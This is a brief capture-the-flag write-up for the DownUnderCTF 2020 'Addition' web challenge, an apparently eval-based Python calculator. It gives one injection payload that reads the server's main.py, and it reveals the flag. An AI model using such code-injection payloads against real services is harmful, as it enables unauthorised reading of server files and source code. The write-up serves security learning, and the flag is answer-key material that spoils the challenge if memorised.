Cookie Consent by PrivacyPolicies.com

DownUnderCTF 2020: Addition


DownUnderCTF 2020: Addition

Addition

200 points

Author: n00bmaster

Joe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the "filters" he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag.

https://chal.duc.tf:30302/

Solution

Ok, so we've got a webpage with calculator and a hint it's written in python.

I've found the flag using this payload '{}'.format(open('main.py','r').read())

DUCTF{3v4L_1s_D4ng3r0u5}